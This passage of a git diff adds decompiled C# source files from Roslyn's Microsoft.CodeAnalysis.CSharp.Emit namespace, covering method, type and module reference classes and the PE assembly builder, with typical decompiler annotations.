false); + ImmutableDictionary> immutableDictionary2 = ((SymbolMatcher)cSharpSymbolMatcher).MapSynthesizedOrDeletedMembers(previousGeneration.DeletedMembers, allDeletedMembers, true); + return ((SymbolMatcher)new CSharpSymbolMatcher(sourceAssembly, sourceContext, compilation.SourceAssembly, otherContext, synthesizedTypes, immutableDictionary, immutableDictionary2)).MapBaselineToCompilation(previousGeneration, (Compilation)(object)compilation, (CommonPEModuleBuilder)(object)moduleBeingBuilt, immutableDictionary, immutableDictionary2); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/ExpandedVarargsMethodReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/ExpandedVarargsMethodReference.cs new file mode 100644 index 0000000..abccbc8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/ExpandedVarargsMethodReference.cs @@ -0,0 +1,190 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal sealed class ExpandedVarargsMethodReference : IMethodReference, ISignature, ITypeMemberReference, IReference, INamedEntity, IGenericMethodInstanceReference, ISpecializedMethodReference +{ + private readonly IMethodReference _underlyingMethod; + + private readonly ImmutableArray _argListParams; + + bool IMethodReference.AcceptsExtraArguments => _underlyingMethod.AcceptsExtraArguments; + + ushort IMethodReference.GenericParameterCount => _underlyingMethod.GenericParameterCount; + + bool IMethodReference.IsGeneric => _underlyingMethod.IsGeneric; + + ImmutableArray IMethodReference.ExtraParameters => _argListParams; + + IGenericMethodInstanceReference IMethodReference.AsGenericMethodInstanceReference + { + get + { + if (_underlyingMethod.AsGenericMethodInstanceReference == null) + { + return null; + } + return (IGenericMethodInstanceReference)(object)this; + } + } + + ISpecializedMethodReference IMethodReference.AsSpecializedMethodReference + { + get + { + if (_underlyingMethod.AsSpecializedMethodReference == null) + { + return null; + } + return (ISpecializedMethodReference)(object)this; + } + } + + CallingConvention ISignature.CallingConvention => ((ISignature)_underlyingMethod).CallingConvention; + + ushort ISignature.ParameterCount => ((ISignature)_underlyingMethod).ParameterCount; + + ImmutableArray ISignature.ReturnValueCustomModifiers => ((ISignature)_underlyingMethod).ReturnValueCustomModifiers; + + ImmutableArray ISignature.RefCustomModifiers => ((ISignature)_underlyingMethod).RefCustomModifiers; + + bool ISignature.ReturnValueIsByRef => ((ISignature)_underlyingMethod).ReturnValueIsByRef; + + string INamedEntity.Name => ((INamedEntity)_underlyingMethod).Name; + + IMethodReference ISpecializedMethodReference.UnspecializedVersion => (IMethodReference)(object)new ExpandedVarargsMethodReference(_underlyingMethod.AsSpecializedMethodReference.UnspecializedVersion, _argListParams); + + public ExpandedVarargsMethodReference(IMethodReference underlyingMethod, ImmutableArray argListParams) + { + _underlyingMethod = underlyingMethod; + _argListParams = argListParams; + } + + IMethodDefinition IMethodReference.GetResolvedMethod(EmitContext context) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return _underlyingMethod.GetResolvedMethod(context); + } + + ImmutableArray ISignature.GetParameters(EmitContext context) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return ((ISignature)_underlyingMethod).GetParameters(context); + } + + ITypeReference ISignature.GetType(EmitContext context) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return ((ISignature)_underlyingMethod).GetType(context); + } + + ITypeReference ITypeMemberReference.GetContainingType(EmitContext context) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return ((ITypeMemberReference)_underlyingMethod).GetContainingType(context); + } + + IEnumerable IReference.GetAttributes(EmitContext context) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return ((IReference)_underlyingMethod).GetAttributes(context); + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + if (((IMethodReference)this).AsGenericMethodInstanceReference != null) + { + visitor.Visit((IGenericMethodInstanceReference)(object)this); + } + else if (((IMethodReference)this).AsSpecializedMethodReference != null) + { + visitor.Visit((IMethodReference)(object)this); + } + else + { + visitor.Visit((IMethodReference)(object)this); + } + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + return null; + } + + ISymbolInternal IReference.GetInternalSymbol() + { + return null; + } + + IEnumerable IGenericMethodInstanceReference.GetGenericArguments(EmitContext context) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return _underlyingMethod.AsGenericMethodInstanceReference.GetGenericArguments(context); + } + + IMethodReference IGenericMethodInstanceReference.GetGenericMethod(EmitContext context) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return (IMethodReference)(object)new ExpandedVarargsMethodReference(_underlyingMethod.AsGenericMethodInstanceReference.GetGenericMethod(context), _argListParams); + } + + public override string ToString() + { + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + Append(instance, ((object)((IReference)_underlyingMethod).GetInternalSymbol()) ?? ((object)_underlyingMethod)); + instance.Builder.Append(" with __arglist( "); + bool flag = true; + ImmutableArray.Enumerator enumerator = _argListParams.GetEnumerator(); + while (enumerator.MoveNext()) + { + IParameterTypeInformation current = enumerator.Current; + if (flag) + { + flag = false; + } + else + { + instance.Builder.Append(", "); + } + if (current.IsByReference) + { + instance.Builder.Append("ref "); + } + Append(instance, current.GetType(default(EmitContext))); + } + instance.Builder.Append(")"); + return instance.ToStringAndFree(); + } + + private static void Append(PooledStringBuilder result, object value) + { + object obj = ((value is ISymbolInternal) ? value : null); + ISymbol val = ((obj != null) ? ((ISymbolInternal)obj).GetISymbol() : null); + if (val != null) + { + result.Builder.Append(val.ToDisplayString(SymbolDisplayFormat.ILVisualizationFormat)); + } + else + { + result.Builder.Append(value); + } + } + + public sealed override bool Equals(object obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Emitter/Model/ExpandedVarargsMethodReference.cs", 233); + } + + public sealed override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Emitter/Model/ExpandedVarargsMethodReference.cs", 239); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/GenericMethodInstanceReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/GenericMethodInstanceReference.cs new file mode 100644 index 0000000..1ef9279 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/GenericMethodInstanceReference.cs @@ -0,0 +1,42 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal sealed class GenericMethodInstanceReference : MethodReference, IGenericMethodInstanceReference, IMethodReference, ISignature, ITypeMemberReference, IReference, INamedEntity +{ + public override IGenericMethodInstanceReference AsGenericMethodInstanceReference => (IGenericMethodInstanceReference)(object)this; + + public GenericMethodInstanceReference(MethodSymbol underlyingMethod) + : base(underlyingMethod) + { + } + + public override void Dispatch(MetadataVisitor visitor) + { + visitor.Visit((IGenericMethodInstanceReference)(object)this); + } + + IEnumerable IGenericMethodInstanceReference.GetGenericArguments(EmitContext context) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + PEModuleBuilder moduleBeingBuilt = (PEModuleBuilder)(object)context.Module; + ImmutableArray.Enumerator enumerator = UnderlyingMethod.TypeArgumentsWithAnnotations.GetEnumerator(); + while (enumerator.MoveNext()) + { + yield return ((PEModuleBuilder)moduleBeingBuilt).Translate(enumerator.Current.Type, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + } + } + + IMethodReference IGenericMethodInstanceReference.GetGenericMethod(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + return ((PEModuleBuilder)(object)context.Module).Translate(UnderlyingMethod.OriginalDefinition, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics, null, needDeclaration: true); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/GenericNamespaceTypeInstanceReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/GenericNamespaceTypeInstanceReference.cs new file mode 100644 index 0000000..4483a96 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/GenericNamespaceTypeInstanceReference.cs @@ -0,0 +1,20 @@ +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal sealed class GenericNamespaceTypeInstanceReference : GenericTypeInstanceReference +{ + public override IGenericTypeInstanceReference AsGenericTypeInstanceReference => (IGenericTypeInstanceReference)(object)this; + + public override INamespaceTypeReference AsNamespaceTypeReference => null; + + public override INestedTypeReference AsNestedTypeReference => null; + + public override ISpecializedNestedTypeReference AsSpecializedNestedTypeReference => null; + + public GenericNamespaceTypeInstanceReference(NamedTypeSymbol underlyingNamedType) + : base(underlyingNamedType) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/GenericNestedTypeInstanceReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/GenericNestedTypeInstanceReference.cs new file mode 100644 index 0000000..a09734c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/GenericNestedTypeInstanceReference.cs @@ -0,0 +1,28 @@ +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal sealed class GenericNestedTypeInstanceReference : GenericTypeInstanceReference, INestedTypeReference, INamedTypeReference, ITypeReference, IReference, INamedEntity, ITypeMemberReference +{ + public override IGenericTypeInstanceReference AsGenericTypeInstanceReference => (IGenericTypeInstanceReference)(object)this; + + public override INamespaceTypeReference AsNamespaceTypeReference => null; + + public override INestedTypeReference AsNestedTypeReference => (INestedTypeReference)(object)this; + + public override ISpecializedNestedTypeReference AsSpecializedNestedTypeReference => null; + + public GenericNestedTypeInstanceReference(NamedTypeSymbol underlyingNamedType) + : base(underlyingNamedType) + { + } + + ITypeReference ITypeMemberReference.GetContainingType(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + return (ITypeReference)(object)((PEModuleBuilder)(object)context.Module).Translate(UnderlyingNamedType.ContainingType, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/GenericTypeInstanceReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/GenericTypeInstanceReference.cs new file mode 100644 index 0000000..a2b61a8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/GenericTypeInstanceReference.cs @@ -0,0 +1,42 @@ +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal abstract class GenericTypeInstanceReference : NamedTypeReference, IGenericTypeInstanceReference, ITypeReference, IReference +{ + public GenericTypeInstanceReference(NamedTypeSymbol underlyingNamedType) + : base(underlyingNamedType) + { + } + + public sealed override void Dispatch(MetadataVisitor visitor) + { + visitor.Visit((IGenericTypeInstanceReference)(object)this); + } + + ImmutableArray IGenericTypeInstanceReference.GetGenericArguments(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + PEModuleBuilder pEModuleBuilder = (PEModuleBuilder)(object)context.Module; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = UnderlyingNamedType.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + instance.Add(((PEModuleBuilder)pEModuleBuilder).Translate(enumerator.Current.Type, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics)); + } + return instance.ToImmutableAndFree(); + } + + INamedTypeReference IGenericTypeInstanceReference.GetGenericType(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + return ((PEModuleBuilder)(object)context.Module).Translate(UnderlyingNamedType.OriginalDefinition, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics, fromImplements: false, needDeclaration: true); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/MethodReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/MethodReference.cs new file mode 100644 index 0000000..3e66812 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/MethodReference.cs @@ -0,0 +1,59 @@ +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal abstract class MethodReference : TypeMemberReference, IMethodReference, ISignature, ITypeMemberReference, IReference, INamedEntity +{ + protected readonly MethodSymbol UnderlyingMethod; + + protected override Symbol UnderlyingSymbol => UnderlyingMethod; + + bool IMethodReference.AcceptsExtraArguments => UnderlyingMethod.IsVararg; + + ushort IMethodReference.GenericParameterCount => (ushort)UnderlyingMethod.Arity; + + bool IMethodReference.IsGeneric => UnderlyingMethod.IsGenericMethod; + + ushort ISignature.ParameterCount => (ushort)UnderlyingMethod.ParameterCount; + + ImmutableArray IMethodReference.ExtraParameters => ImmutableArray.Empty; + + CallingConvention ISignature.CallingConvention => UnderlyingMethod.CallingConvention; + + ImmutableArray ISignature.ReturnValueCustomModifiers => ImmutableArray.CastUp(UnderlyingMethod.ReturnTypeWithAnnotations.CustomModifiers); + + ImmutableArray ISignature.RefCustomModifiers => ImmutableArray.CastUp(UnderlyingMethod.RefCustomModifiers); + + bool ISignature.ReturnValueIsByRef => UnderlyingMethod.RefKind.IsManagedReference(); + + public virtual IGenericMethodInstanceReference AsGenericMethodInstanceReference => null; + + public virtual ISpecializedMethodReference AsSpecializedMethodReference => null; + + public MethodReference(MethodSymbol underlyingMethod) + { + UnderlyingMethod = underlyingMethod; + } + + IMethodDefinition IMethodReference.GetResolvedMethod(EmitContext context) + { + return null; + } + + ImmutableArray ISignature.GetParameters(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return ((PEModuleBuilder)(object)context.Module).Translate(UnderlyingMethod.Parameters); + } + + ITypeReference ISignature.GetType(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + return ((PEModuleBuilder)(PEModuleBuilder)(object)context.Module).Translate(UnderlyingMethod.ReturnType, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/ModuleReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/ModuleReference.cs new file mode 100644 index 0000000..9b49f59 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/ModuleReference.cs @@ -0,0 +1,71 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal sealed class ModuleReference : IModuleReference, IUnitReference, IReference, INamedEntity, IFileReference +{ + private readonly PEModuleBuilder _moduleBeingBuilt; + + private readonly ModuleSymbol _underlyingModule; + + string INamedEntity.Name => _underlyingModule.MetadataName; + + bool IFileReference.HasMetadata => true; + + string IFileReference.FileName => _underlyingModule.Name; + + internal ModuleReference(PEModuleBuilder moduleBeingBuilt, ModuleSymbol underlyingModule) + { + _moduleBeingBuilt = moduleBeingBuilt; + _underlyingModule = underlyingModule; + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + visitor.Visit((IModuleReference)(object)this); + } + + ImmutableArray IFileReference.GetHashValue(AssemblyHashAlgorithm algorithmId) + { + return _underlyingModule.GetHash(algorithmId); + } + + IAssemblyReference IModuleReference.GetContainingAssembly(EmitContext context) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + if (EnumBounds.IsNetModule(((CommonPEModuleBuilder)_moduleBeingBuilt).OutputKind) && (object)((PEModuleBuilder)_moduleBeingBuilt).SourceModule.ContainingAssembly == _underlyingModule.ContainingAssembly) + { + return null; + } + return ((PEModuleBuilder)_moduleBeingBuilt).Translate(_underlyingModule.ContainingAssembly, context.Diagnostics); + } + + public override string ToString() + { + return _underlyingModule.ToString(); + } + + IEnumerable IReference.GetAttributes(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + return null; + } + + ISymbolInternal IReference.GetInternalSymbol() + { + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/NamedTypeReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/NamedTypeReference.cs new file mode 100644 index 0000000..3db65b2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/NamedTypeReference.cs @@ -0,0 +1,99 @@ +using System.Collections.Generic; +using System.Reflection.Metadata; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal abstract class NamedTypeReference : INamedTypeReference, ITypeReference, IReference, INamedEntity +{ + protected readonly NamedTypeSymbol UnderlyingNamedType; + + ushort INamedTypeReference.GenericParameterCount => (ushort)UnderlyingNamedType.Arity; + + bool INamedTypeReference.MangleName => UnderlyingNamedType.MangleName; + + string? INamedTypeReference.AssociatedFileIdentifier => UnderlyingNamedType.GetFileLocalTypeMetadataNamePrefix(); + + string INamedEntity.Name => UnderlyingNamedType.MetadataName; + + bool ITypeReference.IsEnum => UnderlyingNamedType.IsEnumType(); + + bool ITypeReference.IsValueType => UnderlyingNamedType.IsValueType; + + PrimitiveTypeCode ITypeReference.TypeCode => (PrimitiveTypeCode)18; + + TypeDefinitionHandle ITypeReference.TypeDef => default(TypeDefinitionHandle); + + IGenericMethodParameterReference ITypeReference.AsGenericMethodParameterReference => null; + + public abstract IGenericTypeInstanceReference AsGenericTypeInstanceReference { get; } + + IGenericTypeParameterReference ITypeReference.AsGenericTypeParameterReference => null; + + public abstract INamespaceTypeReference AsNamespaceTypeReference { get; } + + public abstract INestedTypeReference AsNestedTypeReference { get; } + + public abstract ISpecializedNestedTypeReference AsSpecializedNestedTypeReference { get; } + + public NamedTypeReference(NamedTypeSymbol underlyingNamedType) + { + UnderlyingNamedType = underlyingNamedType; + } + + ITypeDefinition ITypeReference.GetResolvedType(EmitContext context) + { + return null; + } + + INamespaceTypeDefinition ITypeReference.AsNamespaceTypeDefinition(EmitContext context) + { + return null; + } + + INestedTypeDefinition ITypeReference.AsNestedTypeDefinition(EmitContext context) + { + return null; + } + + ITypeDefinition ITypeReference.AsTypeDefinition(EmitContext context) + { + return null; + } + + public override string ToString() + { + return ((Symbol)UnderlyingNamedType).ToDisplayString(SymbolDisplayFormat.ILVisualizationFormat); + } + + IEnumerable IReference.GetAttributes(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + public abstract void Dispatch(MetadataVisitor visitor); + + IDefinition IReference.AsDefinition(EmitContext context) + { + return null; + } + + ISymbolInternal IReference.GetInternalSymbol() + { + return (ISymbolInternal)(object)UnderlyingNamedType; + } + + public sealed override bool Equals(object obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Emitter/Model/NamedTypeReference.cs", 171); + } + + public sealed override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Emitter/Model/NamedTypeReference.cs", 177); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/PEAssemblyBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/PEAssemblyBuilder.cs new file mode 100644 index 0000000..c5c5d1e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/PEAssemblyBuilder.cs @@ -0,0 +1,20 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal sealed class PEAssemblyBuilder : PEAssemblyBuilderBase +{ + public override EmitBaseline? PreviousGeneration => null; + + public override SymbolChanges? EncSymbolChanges => null; + + public PEAssemblyBuilder(SourceAssemblySymbol sourceAssembly, EmitOptions emitOptions, OutputKind outputKind, ModulePropertiesForSerialization serializationProperties, IEnumerable manifestResources) + : base(sourceAssembly, emitOptions, outputKind, serializationProperties, manifestResources, ImmutableArray.Empty) + { + }//IL_0003: Unknown result type (might be due to invalid IL or missing references) + +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/PEAssemblyBuilderBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/PEAssemblyBuilderBase.cs new file mode 100644 index 0000000..993ef6c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/PEAssemblyBuilderBase.cs @@ -0,0 +1,452 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.IO; +using System.Linq; +using System.Reflection; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal abstract class PEAssemblyBuilderBase : PEModuleBuilder, IAssemblyReference, IModuleReference, IUnitReference, IReference, INamedEntity +{ + private readonly SourceAssemblySymbol _sourceAssembly; + + private readonly ImmutableArray _additionalTypes; + + private ImmutableArray _lazyFiles; + + private ImmutableArray _lazyFilesWithoutManifestResources; + + private SynthesizedEmbeddedAttributeSymbol _lazyEmbeddedAttribute; + + private SynthesizedEmbeddedAttributeSymbol _lazyIsReadOnlyAttribute; + + private SynthesizedEmbeddedAttributeSymbol _lazyRequiresLocationAttribute; + + private SynthesizedEmbeddedAttributeSymbol _lazyIsByRefLikeAttribute; + + private SynthesizedEmbeddedAttributeSymbol _lazyIsUnmanagedAttribute; + + private SynthesizedEmbeddedNullableAttributeSymbol _lazyNullableAttribute; + + private SynthesizedEmbeddedNullableContextAttributeSymbol _lazyNullableContextAttribute; + + private SynthesizedEmbeddedNullablePublicOnlyAttributeSymbol _lazyNullablePublicOnlyAttribute; + + private SynthesizedEmbeddedNativeIntegerAttributeSymbol _lazyNativeIntegerAttribute; + + private SynthesizedEmbeddedScopedRefAttributeSymbol _lazyScopedRefAttribute; + + private SynthesizedEmbeddedRefSafetyRulesAttributeSymbol _lazyRefSafetyRulesAttribute; + + private readonly string _metadataName; + + public sealed override ISourceAssemblySymbolInternal SourceAssemblyOpt => (ISourceAssemblySymbolInternal)(object)_sourceAssembly; + + public override string Name => _metadataName; + + public AssemblyIdentity Identity => _sourceAssembly.Identity; + + public Version AssemblyVersionPattern => _sourceAssembly.AssemblyVersionPattern; + + public PEAssemblyBuilderBase(SourceAssemblySymbol sourceAssembly, EmitOptions emitOptions, OutputKind outputKind, ModulePropertiesForSerialization serializationProperties, IEnumerable manifestResources, ImmutableArray additionalTypes) + : base((SourceModuleSymbol)sourceAssembly.Modules[0], emitOptions, outputKind, serializationProperties, manifestResources) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + _sourceAssembly = sourceAssembly; + _additionalTypes = ImmutableArrayExtensions.NullToEmpty(additionalTypes); + _metadataName = ((emitOptions.OutputNameOverride == null) ? sourceAssembly.MetadataName : FileNameUtilities.ChangeExtension(emitOptions.OutputNameOverride, (string)null)); + ConcurrentDictionaryExtensions.Add(AssemblyOrModuleSymbolToModuleRefMap, (Symbol)sourceAssembly, (IModuleReference)(object)this); + } + + public sealed override ImmutableArray GetAdditionalTopLevelTypes() + { + return _additionalTypes; + } + + internal sealed override ImmutableArray GetEmbeddedTypes(BindingDiagnosticBag diagnostics) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + CreateEmbeddedAttributesIfNeeded(diagnostics); + ArrayBuilderExtensions.AddIfNotNull(instance, (NamedTypeSymbol)_lazyEmbeddedAttribute); + ArrayBuilderExtensions.AddIfNotNull(instance, (NamedTypeSymbol)_lazyIsReadOnlyAttribute); + ArrayBuilderExtensions.AddIfNotNull(instance, (NamedTypeSymbol)_lazyRequiresLocationAttribute); + ArrayBuilderExtensions.AddIfNotNull(instance, (NamedTypeSymbol)_lazyIsUnmanagedAttribute); + ArrayBuilderExtensions.AddIfNotNull(instance, (NamedTypeSymbol)_lazyIsByRefLikeAttribute); + ArrayBuilderExtensions.AddIfNotNull(instance, (NamedTypeSymbol)_lazyNullableAttribute); + ArrayBuilderExtensions.AddIfNotNull(instance, (NamedTypeSymbol)_lazyNullableContextAttribute); + ArrayBuilderExtensions.AddIfNotNull(instance, (NamedTypeSymbol)_lazyNullablePublicOnlyAttribute); + ArrayBuilderExtensions.AddIfNotNull(instance, (NamedTypeSymbol)_lazyNativeIntegerAttribute); + ArrayBuilderExtensions.AddIfNotNull(instance, (NamedTypeSymbol)_lazyScopedRefAttribute); + ArrayBuilderExtensions.AddIfNotNull(instance, (NamedTypeSymbol)_lazyRefSafetyRulesAttribute); + return instance.ToImmutableAndFree(); + } + + public sealed override IEnumerable GetFiles(EmitContext context) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (!((EmitContext)(ref context)).IsRefAssembly) + { + return getFiles(ref _lazyFiles); + } + return getFiles(ref _lazyFilesWithoutManifestResources); + ImmutableArray getFiles(ref ImmutableArray lazyFiles) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Expected O, but got Unknown + if (lazyFiles.IsDefault) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + try + { + ImmutableArray modules = _sourceAssembly.Modules; + for (int i = 1; i < modules.Length; i++) + { + instance.Add((IFileReference)Translate(modules[i], context.Diagnostics)); + } + if (!((EmitContext)(ref context)).IsRefAssembly) + { + foreach (ResourceDescription manifestResource in ((CommonPEModuleBuilder)this).ManifestResources) + { + if (!manifestResource.IsEmbedded) + { + instance.Add((IFileReference)(object)manifestResource); + } + } + } + if (ImmutableInterlocked.InterlockedInitialize(ref lazyFiles, instance.ToImmutable()) && lazyFiles.Length > 0 && !CryptographicHashProvider.IsSupportedAlgorithm(_sourceAssembly.HashAlgorithm)) + { + context.Diagnostics.Add((Diagnostic)(object)new CSDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_CryptoHashFailed), NoLocation.Singleton)); + } + } + finally + { + instance.Free(); + } + } + return lazyFiles; + } + } + + protected override void AddEmbeddedResourcesFromAddedModules(ArrayBuilder builder, DiagnosticBag diagnostics) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + 